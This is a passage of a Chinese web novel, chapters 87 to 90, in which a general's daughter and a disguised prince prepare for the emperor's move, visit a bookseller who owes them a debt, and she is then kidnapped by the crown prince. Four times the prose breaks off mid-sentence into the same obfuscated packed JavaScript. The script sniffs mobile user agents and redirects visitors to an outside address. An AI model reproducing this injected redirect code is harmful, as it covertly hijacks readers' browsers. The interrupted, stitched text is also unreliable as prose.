按照刚才与谢烜赫商量的结果,黎书意将真相和下一步计划写下。 果然,一落笔,字迹就像水一样慢慢干去,等她写完,只剩下最后两个字能看出水迹。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545745|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她看着这份无字之书,然后搁下笔,待水迹彻底干透了,谢烜赫将纸张装到信封里。 看着他收信的动作,黎书意仿佛已经预见到父亲阅信之后的反应,他最是忠心爱国,若知道自己所侍之主竟然设计构陷皇弟,该是何等的绝望。 怔忡间,耳边听见谢烜赫的声音:“我们这边也该做些部署。” “什么部署?”黎书意问。 谢烜赫看着她,回答道:“虽说将军府中的侍卫身手大都不错,但是这百来人的府军不足以与禁军抗衡,我想着把祈安阁的暗卫安插进来,以防万一。” 黎书意敛眉忖度片刻,最终点头了,一旦皇帝选择动手,府里的侍卫确实不够看,既然无法在数量上轻易动手脚,那便只好在质量上动手脚。 而且,对于这些侍卫来说,这完全是一场无妄之灾,能借着人员变动推出去一个是一个,这么想着,便道:“我一会便让毕定边过来。” 谈话到此结束,他们互望一眼,然后才一同往门口走去。 门外,听见“吱呀”的开门声,兰亭立刻回转过身子。 由于隔着一扇门,二姑娘和世子又格外小心,所以她只能听见说话声,却听不出具体说了什么。 “兰亭,替我去叫富春姑姑和毕定边过来,我有话要交代。” “是,婢子这就去。”知道要交代的话多半与刚才的商谈有关,所以兰亭一刻也没耽搁,领了命便小跑着离开了。 看着人跑远了,黎书意回到屋中坐下,等待的间隙,她与谢烜赫都没有说话,室内一片静谧。 放空的空档,她的思绪转到别处,想着虽然目前尚不知道未来在哪,但无论做什么,准备好充足的银钱都是有必要的。 坐着静候了一会,外面传来几串脚步声,紧接着听见兰亭上气不接下气的声音:“二姑娘,他们来了。” “进来吧。” 三人应声入屋。 黎书意的目光扫过面前的这对母子,富春姑姑是母亲的陪嫁,在将军府待了将近二十载,毕定边比她年长一岁,是她自小就熟悉的人,他们的衷心她不怀疑,要不然也不会把管事和侍卫长的职责交给他们。 “不知二姑娘有何吩咐?”富春姑姑问。 黎书意从座位上起身,缓步走到他们跟前,先对毕定边道:“由时野和你说。” 说完,她转向富春姑姑,望着面前这张熟悉而带着关切的脸,滞了一息才开口道:“姑姑,我想变卖一些金银细软。” “变卖细软?”富春姑姑听后不解地看着面前的少女。 黎书意不奇怪姑姑为何如此惊诧,毕竟这一般是家里走投无路了才会做的事,可将军府的现状俨然不符合,然而实情现在还不便说出口,她只能含糊道:“姑姑暂且别问原因,日后我会如实告知。” “好。”富春姑姑点头,没再多问,只道,“那具体要如何做?” 忖度了片刻,黎书意决断道:“明日你带上几个亲信去清点府库,先整理出无徽记的金银首饰,再悄悄变卖了,价格公道既可,然后你将卖得银钱的三分之二换成万通钱庄的银票。” 万通钱庄虽然不是最大的钱庄,却在西景、丹霄和白榆都有分号,照目前这情况,他们说不定得逃亡。 87. 趁危 在黎书意同富春姑姑交代的时候,谢烜赫也和毕定边就府中侍卫的事情商讨起来。 “如今府中登记在册的侍卫一共有多少?”谢烜赫问。 毕定边答:“外院三等侍卫六十人,内院二等侍卫四十人,一等侍卫十人。” “二姑娘想将外院的侍卫全数替换了。”谢烜赫直截了当告知道。 身为府中的侍卫长,毕定边对侍卫轮换之事极为敏感,他心里清楚,这般安排,要么是府里出了奸细,要么是有人想安插亲信。 时侍卫是二姑娘的贴身侍卫,虽名义上在自己的管辖之内,但实际上只听从主人的命令,职权同沥泉、绿沉一样,甚至是在他之上的。 而且,自时侍卫入府以来,明眼人都能看出他与府上的三位主人关系亲近,所以对于被他驱使,毕定边一点也没觉得被冒犯。 再者,这命令是二姑娘的意思,尽管他感到疑惑不解,开口也只问:“那替换的人该如何挑选?” 毕竟这些人肩负着护卫府中安全的重任,自然不能随意从外面招募,其身份背景与武艺身手都得仔细斟酌。 “这个明日会告诉你。” 虽心中在意,看时侍卫不说明缘由,但毕定边到底没深究,点头回道:“好,我一会便去通知外院侍卫,让他们去城郊军营报到。” 事情交代得很快,母子两人领了命便离开了。 从富春姑姑和毕侍卫进门以后,兰亭便站在房内旁观,见二姑娘又是变卖金银细软,又是替换侍卫的,如此大的动作,仿佛在预备着什么。 她心里又是好奇又是忐忑,望着她家二姑娘欲言又止道:“二姑娘,这是……” 黎书意收回望着门外的视线,一转头便瞧见了兰亭眼里的不安。 想着她是自己身边的人,既然关于谋划的事她都知道了,眼下也没必要再隐瞒,不如告诉她真相,让她自己做选择,于是便郑重地道:“兰亭,我们的对手不是梁甫,而是那个人。” 那个人,兰亭的眉头深深皱起,不懂那个人指的是谁,将这三个字咀嚼了多遍,在脑袋里转了一圈又一圈,她终于悟到了,不禁惊骇得瞪大了眼睛,不可置信地望着她家二姑娘,彻底失语了。 难怪二姑娘昨夜失魂落魄的,得知这样的事,谁人能不惊慌呢。紧接着,她瞟了一眼不远处的世子,没想到昭王高风亮节,最后竟然死在了嫡亲的兄长手里。 “你可以趁现在离开。” 心里正在感慨,二姑娘的话如风灌入耳中,她闻言抬起头,反应过来后一个劲地摇头,急切自证道:“兰亭十岁时被父母所卖,机缘巧合下得以进将军府,姚夫人待我很好,二姑娘待我更好,从不曾苛待我,还督促我认字,我早就把将军府当成我的家了,即是家人,又怎能在危机时刻离开。” 听见这番话,黎书意心下动容,临了又确认地问了一遍:“你可想好了,跟着我们,你生死未卜……” “想好了。”兰亭点头。 望着那双真情流露的眼睛,黎书意没有再劝。 …… 夜幕笼垂,宫城里的琉璃瓦在月光的照耀下散发出冷冽的光泽,御书房内灯火摇曳,轻烟袅袅,景帝疲惫地靠坐在椅背之上。 伴随着一阵轻快的脚步声,一名身着黑衣,面容冷硬的男子悄然步入御书房,并跪倒在御案面前。 景帝掀起眼皮瞥向眼前的人,漫不经心地问道:“可查到了幕后搞鬼之人?” “禀圣上,查到了。”内候官燕三回道。 “谁?” 燕三答言:“街头散布消息的多为乞丐和稚童,暂时还无法获知背后之人的确切身份,但那本书是黎书意写的。” 听见这个名字,景帝眼中闪过一抹诧异,不可置信道:“黎书意,黎横天的女儿黎书意?” “确实是她。”燕三点头,旋即他将打探的消息全数奉上,“《陈冤录》并非她的首作,在这之前她还写过一本名叫《学崖》的书,《陈冤录》是从去年七月在文心书局开始售卖的,据卑职从店里伙计那里打探的消息,说书稿都是由将军府的人送来的,而黎二姑娘也时常光顾书局。” “黎书意……”景帝轻声念着这个名字,一个黄毛丫头,仗着有几分才学,竟然敢煽动百姓。 幸好当初阻止了她与太子在一起,否则以后景朝就不是谢家的天下,而是黎家的天下了。 黎家,脑海里闪过这两个字,他的眼神骤然一暗,一个闺阁女子是不可能独立去做这事的,这背后定然是黎横天在支持。 是想为谢嘉行平反吗?可真是够义气的,他双目微眯,心里浮现出杀机,原本还想让你们再苟活一段时日,等平息了国内外的动乱再说,可你们偏偏不安分,那便怪不得他了。 一想到已经解决了两个心头大患,这最后的一个也将除去,他露出了快意的笑容,默了片刻,又问:“文心书局,苏或雍开的?” “是。”燕三回道。 听到确切的答案,景帝从鼻间溢出一声轻哼,已经经历过一次牢狱之灾,竟然还不长记性,那他便帮他长长。 …… 从衙署回来,谢煜然疲惫地坐到榻上。 自客郡回来以后,他一直在忙,先是清缴忘忧楼,接着是肃清梁党,再然后是翻梁甫所铸的冤假错案。 尽管许多事交给下面的人处理即可,但是为了不出差错,他还是得好好把关,是以每日分身乏术。 昨日,齐君屹一家得以洗脱污名,他看这年轻人性格坚韧,胆识过人,本想收归己用,却被齐君屹以不想入仕给婉拒了,既如此,他也不强人所难。 浅啜一口下人刚送上来的热茶,他脑海里不免又转思起另一件事情来,市井里的言论他一早就注意到了,且很清楚这事是有人在背后推动。 不过他没有理会,一来,他正在忙梁家的案子,二来,是想着若当真能替昭王平反,也是一桩好事。 直至今晨,他听到父皇竟然下令焚烧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545746|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 《陈冤录》,并且还勒令文心书局关店整顿,这才重新引起了他的注意,心想着莫非这背后有什么,于是便差双戒前去调查。 “见过太子殿下。” 正想着,见双戒从外面走回来,他忙问:“是谁?” “殿下……”双戒欲言又止。 见状,他面上流露出一丝不耐,斥责道:“吞吞吐吐的做甚,到底是谁?” “是黎二姑娘。”双戒开了口。 “什么?!”出乎意料的名字惊得谢煜然从座位上弹起,他实在想不透这两者之间的联系。 不,还是有的。 大将军与三皇叔最是交好,况且这一年来,因为这层联系,将军府受到了不小的波及,想为三皇叔平反在情理之中。 而黎书意,她最在乎家人,身为闺阁女子,别的她不便做,于是便靠着写书来出力。 想透了关节,他的心情逐渐平复,待要坐下去,忽地又直起了身子,一个霹雳在头顶炸开,脑海里闪过那个戴面具的侍卫。 那人是谢烜赫!谢煜然的手开始不受控制地颤抖起来,呼吸也变得急促,他的心就像是被什么东西狠狠扼住了一样,疼痛难忍。 他重重地拍了一下案几,懊恼自己竟然被骗过去了。 朝夕相处了两年,初见那侍卫时,他就觉得熟悉,所以当时便直接掀开了面具,想要验证自己的猜测,结果却看到了一张毁容的脸。 紧接着,他又测了那侍卫的功夫,发现路数与谢烜赫的完全不同,心里的猜疑虽然减少了许多,但并未完全打消。 回去之后,他立刻派人去查验了时野的身份,半月后得到了一份详实的报告,包括时野的父母,生辰,以及大大小小的事迹都有记录,显然不是伪造,因此他不得不相信是自己疑神疑鬼了。 现在看来,谢烜赫恐怕是借用了时野的身份,而真正的时野估计已经死了。 意识到时野就是谢烜赫,谢煜然心里升腾起一股怒火,这也就是说,将近一年的时间里,他们一直生活在一个屋檐下。 记忆里,黎书意是不待见谢烜赫的,虽然很不耻,但他心里曾经为此庆幸和高兴,可是现在…… 忽地,他又想起了梁祖庭擅闯姚府那日的场景,他记得谢烜赫倒下时黎书意是多么的紧张和伤心。 愤怒、恐慌、忮忌包裹着他,胸腔里像是有一个炙热的火球在翻滚,在他向父皇母后妥协之际,谢烜赫居然趁人之危,更换了身份接近黎书意,他们从开始互看不顺眼,变得情深意切。 当初发现黎书意和贴身侍卫关系暧昧时,他虽然觉得荒唐、不甘和恼怒,但并没有太大的危机感。 一个侍卫罢了,不论是她的家人,还是世人,都不会允许他们结合的,他有无数种方式让他们走不到一起,所以他不着急。 可世子就不同了,况且那人还是谢烜赫,他们两家交好,甚至于本来就有口头婚约。 不,他不能忍受,他要夺回他的东西。 88. 邀见 祈安阁的暗卫们今日便入驻将军府,原本的三等侍卫被以补充兵力的理由调至城外大营,毕定边处理得很好,既未引起侍卫们的疑惑,也未引起外界的注意。 金银玉器贵重,数量又多,想要立刻全数卖出是不可能的,好在黎书意也不急于一时。 只是,尽管两件事都按照计划有条不紊地进行着,可她的心却极度不安,就像是被丢进一座危机四伏的森林,她明知道暗处有野兽在窥伺,却不知危险何时会临头,所以神经一直绷得很紧。 这个危机并未让她等太久,隔天,她便从谢烜赫那里得到了消息,说是朝廷以《陈冤录》操控舆论、扰乱民心为理由,将未售出的和已售出的书籍搜罗一空,堆在一处点了把大火将书焚烧殆尽,而文心书局也被迫关门整顿了。 若是不明真相,黎书意或许会觉得奇怪,纳闷自己不过是揭露实情而已,何至于受到这样重的责罚,可因为深知真相,对于事态的发展她就没那么意外了。 她心里是失落不甘的,这本书她写了近一年,每一笔每一画都用了心血,且故事与她的亲身经历息息相关,结局更是预想了无数遍。 在她的预想里,严会之反叛被捕押送入京师之后,辛君赫会偷偷潜入天牢,他会站在成为阶下囚的仇人面前,向其缓缓吐露这一路的精心谋划,从暗中调查到巧妙布局,然后再告知自己的真实身份,让恶贯满盈的反派因为惊怕而精神失常。 接着,严会之会被处决,朝廷也因为辛君赫在背后的推波助澜开始重新调查明王谋逆一案,最后发现明王是被严会之构陷的,明王的冤屈终于被洗刷。 故事的最后,姚荐辕恢复了镇国公的身份,姚远卓因为破敌有功而封候,姚写意和母亲、嫂子因为酒楼经营得不错,三人决定以此为业,继续干下去,而辛君赫,他将以萧礼的身份继续驰骋疆场。 然而,就像是无常的现实一样,他们的平反之路遇到了无法逾越的天堑,她笔下的故事不仅没办法按预想展开,还难逃被腰斩的命运。 唯一令人庆幸的是,她借由它,在民众心中播下了昭王可能是被诬陷的种子,这也算是基本完成它的使命了,想到这一点,她又释然了。 只是,她对苏或雍感到抱歉。 介于不便亲自出面,她只好以写信的方式来表达自己的歉意,信的内容并不长,她先原原本本道出了自己写《陈冤录》的用意,接着再为隐瞒而诚挚道歉。 将信写好,她去了府库,书局停业损失巨大,自己理应有所补偿,虽说苏先生现在是商人,但骨子里始终还是文人,挑了一把上好的牙雕扇,她让毕定边连带着信一并送过去。 尽管写了信送了礼,她心里头仍是惦记,于是整个人坐卧不宁,根本没法做其他的事,就指望着毕定边回来,好好询问一下情况。 午间,毕定边回来了,瞥见他手里拿着的木盒,黎书意便知道苏先生没有收自己的礼物。 “怎么样,他可说了什么,或者带了信?”她上前几步,急切地问。 毕定边转述道:“二姑娘,苏先生说要见您。” 他要见她,尽管知道自己的身份在他那儿已经形同透明,但是这话依然让她怔住。 不过,对方既然如此要求了,她又理亏,便只好应下。 翌日,她和谢烜赫相携出门,他们约见的地点并非文心书局,而是苏或雍在城郊仙名山上所居的草庐。 凛冬已过,山野上春芽破土,草木新绿,一派欣荣,远处是散落在林间的大小农舍,炊烟似云雾袅袅上浮,耳边偶尔传来几声鸡鸣犬吠。 在孟章生活了十载,黎书意从未到这里来过,眼前的宁静与闲适将她焦灼不安的心境都抚平了不少。 马车顺着溪边的小道摇晃着前行,道路尽头是一座宽大的院落,屋顶覆盖着厚厚的茅草,四周耸立着低矮的泥土围墙,墙外松竹环绕,古朴温馨。 下车行到门口,黎书意抬手敲门,不多时一个小童儿前来应门,然后将他们带到书房,兰亭留在了门外,黎书意和谢烜赫跨门而入。 书房布置得简约而不失雅致,里面一览无余,有两排书架,一张古琴,一张木桌和几把竹椅。 此时,主人正坐在桌边烹茶,茶炉烟起,白雾袅袅,清香飘然而出。 “两位请坐。”见他们来了,主人含笑邀他们入座,然后抬起紫砂壶为他们倒茶。 黎书意遂与谢烜赫坐下。 既然都碰面了,当面道歉必不可少,黎书意怀着愧疚真诚地说:“抱歉,苏先生,因为我的关系,害文心书局受牵连。” 说毕,见苏先生浑不在意地摆手道:“偶尔歇息一下也挺好。” 黎书意知道这不过是他的安慰之词,心里的愧疚不减分毫,还是希望能给出些实际的补偿,但又拿不定主意。 纠结之际,对面的人却一改懒散的模样,移目朝她旁边看去,抬起双手郑重地问候道:“见过世子。” 对此,黎书意没有表现得太过惊讶,以苏先生的智慧,借由《陈冤录》的故事想到这一层着实不难。 本来心里还在奇怪他今日邀见的目的,现在她有了预感,或许与谢烜赫也有关。 刚这么想着,苏先生的视线回转过来,对着她浅浅一笑,问:“黎二姑娘不好奇我是何时知道墨含便是你的吗?” 这个,她的确想知道,却不是现下最好奇的,不过先生既提了,她便打算听听看,于是顺话道:“何时?” “一开始,我未曾多想,只将长策的说辞当真,以为他不过是帮朋友的忙,看过故事觉得新颖有趣,我便收了。” 说到这,苏先生直视着她的眼睛,“可随着故事深入,我逐渐有了写书的人应是女子的猜测,毕竟男女有别,在写女人物时会有不同,男子多从外部观察女子,能体验并表达好女子心境的着实不多,就算一个男子能写出女子的心境,也几乎难以脱离束缚,给笔下女人物肆意的经历和结局……” “当时我并未想到你身上,虽然你传出不少作品,但都是诗词,无法做参考,是后来我发现你每次来书局都直奔《学崖》的书架,并且还会刻意观察书客的反应,于是我便有了猜测。” 黎书意原以为自己被窥破身份是《陈冤录》上架之后,却不想苏先生竟然这么早便知道了,那为何不指出来? 似乎是看透了她的想法,苏先生笑着解释道:“在我眼中,是男子所书还是女子所书都不重要,重要的是笔下的故事。” 这一点她是信的,苏或雍从不以书者名气、年岁、出生为选书标准,只凭个人喜好,正是因为这个理由,她那有些离经叛道的《学崖》才得以问世,才有了墨含,有了《陈冤录》。 “初看《陈冤录》时,我是抱着看《学崖》的态度来品鉴的,因为了解将军府的境况,对于你渴望保全家人的心境也就格外理解,我把辛君赫的出现合理化为你对已逝友人的怀念,就连水患案被放入故事中,我也只当是你就地取材。” “可后来……”说着,他移目朝谢烜赫看过去,“你从客郡的风波抽身,回孟章后送来了中卷的书稿,我第一时间拿到手边阅看,发现又是与自身遭遇的事件为素材的故事,想着你确实承受了许多,以此抒发倒也合理。可结合着书稿看下去,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545747|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 渐渐生出一种你所经历的事不像是偶然,反而是步步为营的结果,于是我回阅前文,重新梳理,最后恍然明白过来,终于发现它根本就是现实的应照,你只是将自己身上的故事加工润色,再记录下来。” “那为何先生还——”黎书意一直静静聆听,此刻却忍不住开口。 写书之时她就仔细考虑过了,料定重审昭王案之时自己是墨含的事必然会随之披露,她可能会受到不轻不重的责罚,以儆效尤。 而文心书局作为售书的一方,苏先生说不定会被当成共犯,到时她便会用他不知情将他摘出去,只是眼下这番变故是她万没有预料到的。 然而站在苏先生的角度,身为被牵连的一方,他既然知道这事情有风险,就应该趋利避害,怎么还继续放任呢。 “昭王和黎大将军为人正直,若能帮上忙我很乐意。”苏或雍说得坦然,最后面上带上了认真,“况且,他们与我有恩。” 听见这话,黎书意眸光一闪,忙朝旁边看去,见谢烜赫也露出惊讶的神色,最后他们一同转而注视着苏或雍,等待着他的下文。 苏或雍见状笑了笑,他望向门外,目光悠远,声音飘渺地回忆道:“当年,我年少轻狂,不懂得遮掩锋芒,只想着在吏治改革上大展拳脚,闲时所写诗作被有心人作梗,最终惹上牢狱之灾,在牢里困了百天,因为有大将军和林御史的百般求情,我得以免了死罪。” 这件事,黎书意记忆深刻,当时她才十岁,正在诵读诗词的热头劲上,彼时苏先生刚好因为洒脱豪放的诗词在孟章名声大噪,她自是仰慕不已,每每出新作,必定要拿来一观。 听闻苏先生竟然因为一首闲诗被批判弹劾,她与兄长满腔愤慨,既无法理解,又心怀忧虑,因为挂念,便时常询问父亲他的近况。 父亲也觉得这事言过其实,几次为苏先生求情,加之其他官员上书劝谏,皇帝这才终于松口,免了苏先生死罪,贬官襄和,算是不幸里的万幸。 后来,兄长与苏先生成了好友,她知道这当中有父亲的恩情在,只是未曾想过他愿意为他们担如此大的风险。 那么,苏先生和昭王又有何渊源? “从牢里放出来后,我被贬至陵光襄和县,任县学助教,当时我心灰意冷,对未来没有任何期待,除了处理公务,我不再参加集会,在近郊置了一座茅草房,于房前开垦荒地,过起深居简出自给自足的生活。” 苏或雍看着谢烜赫说:“你父王去找过我好几回,他一点架子也没有,同我谈诗论赋,下棋品茶,还数度接济我。” 谢烜赫是第一次听说这事,为了避免猜忌,父皇远离朝堂,除了封地内的事务,他很少对国事发表意见,日常就是结交名士,因为人员众多,他不是每个都清楚。 就在两人还在为此感到惊讶之时,苏或雍续说起来,他怅然道:“就连文心书局能开起来,也多亏了昭王。” 闻言,他们又是一愣。 “在我即将离开襄和的时候,我与昭王又见了一面,他想要接济我,又担心我不肯收下,便命我在城门作赋,最后给了我千金作为报酬。” 简单叙述完,苏或雍从回忆里抽离出来,那是他人生中最黑暗的时刻,就像是一只刚刚展翅飞翔的雏鹰,正志得意满突然被闪电击中,若是没有黎大将军和昭王,他会一蹶不振,会死 沉重的话题让书房彻底安静下来。 过了好半晌,还是苏或雍打破了沉默,他望着面前的少男少女,将心中的疑问问出:“虽说以话本叙情确有煽动舆论的嫌疑,但是也不至于要将书全数焚毁,这其中是否还有内情?” 89. 绑架 是否还有内情?这个问题黎书意根本无法回答,她求助地看向谢烜赫。 谢烜赫与她对视一眼,然后对苏或雍含糊道:“苏先生已经做得足够了,以后还是不管不问的好。” 话音刚落,却听苏或雍从鼻腔里发出一声轻嗤,叹了一句:“国之不幸啊……” 他猜到了。 事情已经说完,黎书意和谢烜赫没有再多待,苏或雍亦没有多挽留,三人从书房里出来,而在外百无聊赖等候的兰亭也重整精神。 站在门口,黎书意和谢烜赫向苏或雍辞别,继而转身由着小童儿将他们送出门。 午后的斜阳洒在草庐上,屋舍被镀上了一层金色的光晕,眼前的景物沉浸在温暖与静谧之中,黎书意驻足静看了一会,然后收回目光登上了马车。 因着刚刚的交谈太过令人意外,也有些沉重,不管是黎书意还是谢烜赫,两人都没有开口说话,车厢里很安静,只余下马蹄和车轮滚动之声。 踏过颠簸的山路,马车终于行到了平整的地面上,车厢内依旧寂然无声,又过了一会,等经过闹市时,喧嚣声渐渐传入耳中。 黎书意掀开窗帘,望向车窗外熙熙攘攘的人群,受到繁华人烟的感染,她沉郁的心情好了点,于是便回头轻声说:“我想下去逛逛。” 谢烜赫闻言颔首道:“好,正好我也去印刷铺一趟。” 于是马车在街口缓缓停下来,谢烜赫先下了车,然后伸手扶着黎书意走下马车。 两人并肩走了一段路,接着便分路而行,谢烜赫往对街的巷道里去了,黎书意则带着兰亭继续往前走。 街市繁华,人潮汹涌,语笑喧阗此起彼伏,黎书意漫无目的地在大道上走着看着,尽管她置身其中,但周围的喧闹仿佛与她隔了一层纱,朦朦胧胧的,她的心思仍然沉浸在苏先生的那些话中。 走着走着,鼻间嗅到了一股淡雅的香气,一抬头,发现她走到了怡口香前,想着出来逛一趟至少买一点东西,便转头吩咐兰亭:“你去买些糕点。” “是。”兰亭点头,随即提步往店里去了。 黎书意静静站在店铺外面等待,脑袋依旧像陀螺一样转个不停,谢烜赫的身份暴露,《陈冤录》被焚毁,苏先生与他们两家的渊源……她的思绪纷繁又混乱。 正想着,脖颈右侧忽然被一记手刀劈中,她痛哼出声,同时心头大惊,紧接着眼前瞬间变得模糊起来。 在意识消散的那一刻,她意识到自己似乎是遭遇绑架了,她想要反抗,可身体却软绵绵的,压根使不出力气,再然后,她彻底晕了过去,瘫倒进陌生人的怀抱里。 兰亭拎着糕点从铺子里出来,准备与二姑娘汇合,抬起头却见二姑娘刚才站的地方已经没人了,她疑惑地转着头四处张望,却未在附近瞧见二姑娘的身影。 想着二姑娘可能是等得无聊,便去附近的店铺闲逛去了,担心二姑娘找不见人,她站在原地等待。 如此候了盏茶的工夫,始终不见人来,她心里开始发慌,再耐不住性子,她迈步顺着街道上的店铺一间一间找起来,这边找不到,她又穿到对街上继续寻找,然而依旧没发现二姑娘。 最终,她只好折回到怡口香店铺前面,然后扭着头随处扫看,期望能看见二姑娘从某处走回来,可她等了许久,都没瞧见穿着和身形相似的人。 等着等着,世子先回来了。 一见到世子,兰亭急忙冲上前去,不等对方发问,她脱口告知情况:“时侍卫,二姑娘不见了。” 谢烜赫刚才穿街过来时,就发现兰亭满面急色,黎书意也未在她身边,听见这话,他心头猛地一振,忙对兰亭道:“你把前后情况说清楚!” 兰亭赶紧回话:“刚才婢子和二姑娘走到怡口香前,她说想买些糕点,婢子便进去买了,谁知提着糕点回来时,二姑娘人却不见了,婢子站在铺子外面等了一会,看二姑娘始终未回来,便开始在周边店铺寻找,可是并没发现二姑娘的踪迹。” 听完兰亭的叙述,谢烜赫的心情更加不安起来,照目前的情况来看,黎书意并非等不及而在附近铺子闲逛,才致走散的。 扫了一眼街上密集的人群,他当机立断说道:“我去叫车夫过来一起寻人,你先顺着这条街挨家挨户地进店找找看。” “嗯。”兰亭应声,旋即便迈步进了旁边的店铺。 谢烜赫紧跟着转身,他径直朝街口走去,到了马车边,他询问车夫黎书意可曾过来,车夫摇头,他闻言失落,接着将当前的情况告知了车夫。 车夫听后大惊,连忙下车一起寻找,他们一人走一边,然后沿街口边打听边寻找。 谢烜赫在左边主街上挨家挨户地寻找,无果后,他往巷道里走,继续寻找。 余晖淡薄地洒在青石板路上,傍晚的街道笼罩在凄绝的绯色里,穿街走巷遍寻不到,谢烜赫最终失望而归。 回到糕点铺子前,见兰亭愁眉泪眼,在那方寸之地来回打转,并不时伸头张望。街道对面,车夫正朝这边跑来,到了跟前他喘着粗气,失望地摇着头。 黎书意并非调皮的小孩,若是去哪里了,定然会告诉他们的,像这样忽然消失,只怕是被人掳走了,漫无目的地搜下去是在白白浪费时间。 思及此,谢烜赫压抑着心里的焦躁和不安,最终做出了决定,于是开口道:“先回府,动员府中侍卫秘密寻找。” “好。”车夫应声。 兰亭也无奈点头。 …… 黎书意迷迷糊糊从昏睡中苏醒过来,刚一扭头,脖颈上顿时传来酸痛,她这才想起来自己在街上被人给敲晕了。 从床上惊坐而起,她慌乱地游目四顾,这是一间华美的房间,锦被、桌椅、摆件……样样都造型精致,价格不菲,想必绑架她的人身份尊贵。 再仔细观察,发现室内昏暗,只有烛光,四处皆是墙壁,并无窗户,空气里也透着有几分阴凉,她这莫不是在密室里? 拉开被子坐在床沿,她思索着可能绑架她的人选,会不会是皇帝?可若是他想要动手,不必费如此大的周折。 那还会是谁, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545748|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她心里又是困惑又是着急,却始终无法锁定目标,于是思绪便转到了别处,也不知道兰亭和谢烜赫发现她不在了,会怎么样? 这时,外间传来一道沉重的声响,像是石块与地面摩擦所发出的。 紧接着,她听到了一串脚步声,那声音正在向这边靠近,她屏息凝神,手紧抓着被单,目光死死钉在门洞处。 没几步,那人掀开门帘走了进来,当看到那张无比熟悉的脸时,她神色一怔,话也就无意识地脱口而出了:“怎么是你?” 谢煜然并不回话,他径自朝里走,将托盘放到案上,他一面摆饭一面温声叫道:“已经酉时了,你应该饿了,先来用膳吧。” 黎书意皱着眉头,双眼追随着摆饭的少年,想不明白他为何突然绑自己。 内心虽然拒绝与他亲近,但由于目前局势尚不清楚,她不敢轻易反抗,所以便无声地走到桌边坐下。 似乎是对她的反应很满意,谢煜然露出了笑容,将盛着白饭的瓷碗放到她面前,又拿起筷子夹了一块排骨放进她碗里,柔声道:“都是你喜欢的菜,快吃吧。” 黎书意没有动,他这副若无其事的模样令她焦躁不安,终于还是耐不住性子,开口问:“你为何绑我?” 谢煜然却仿若没听见,继续替她夹菜,见状,她提高了声音:“你快放我回去,家里人见我不在,会着急的!” “咚!”一声,谢煜然将瓷碗重重放在案上,然后朝她看过来,黑眸浮上了一层冷意,“家里人?你父兄可都还在麒越呢,你口中的家里人指的是谁,谢烜赫吗?” 听见最后三个字,黎书意心里“咯噔”一下,脑子里满是他知道时野是谢烜赫的慌乱与担忧。 望着那对在眼眶里游弋的黑瞳,谢煜然压抑着的愤怒还是决堤了,他不甘地质问道:“为什么?你不是讨厌他吗,你为什么会和他在一起?” 黎书意心头一怔,难不成他是因为这个才抓的她?可是为什么? 她感到困惑,当初在客郡,她将计就计,说自己愿意和侍卫在一起,那时也不见他像现在这样愤怒。 不管怎样,未免刺激到他,她避开谢烜赫不提,放柔语气道:“你放我回去吧,若是被太子妃发现了,该怎么办?” 谢煜然却不以为意,“发现便发现吧。” “不行,府里找不到我该着急了,说不定正在四处寻人呢!”将军府如今的状况可容不得她在这里耽搁,见自己无论怎么说,谢煜然依旧不为所动,她控制不住情绪地大喊起来,“你难道想弄到人尽皆知吗?” 说毕,见谢煜然意味深长地笑道:“闹大了才好呢。” 闻言,黎书意心头一颤,明白了他的目的,一个尚未出阁的姑娘在外男府上留宿,即便没发生什么,也有理说不清了,他这是想利用舆论逼迫自己。 “你真让我失望。” “失望……”谢煜然凄然一笑,内心涌起酸涩和不甘,下一刻他的态度又变得坚决,“我用尽了所有可能的办法挽留,可是都没有用,那也只能如此了!” 90. 搜寻 将军府。 残阳淡照,用过了晚饭,富春姑姑出房门消食散步,想起再过不久,大将军和少将军就该回来了,于是她便吩咐底下人,让他们这几日赶紧把两位主子的房间重新布置一番,庭院里的花木也修剪修剪。 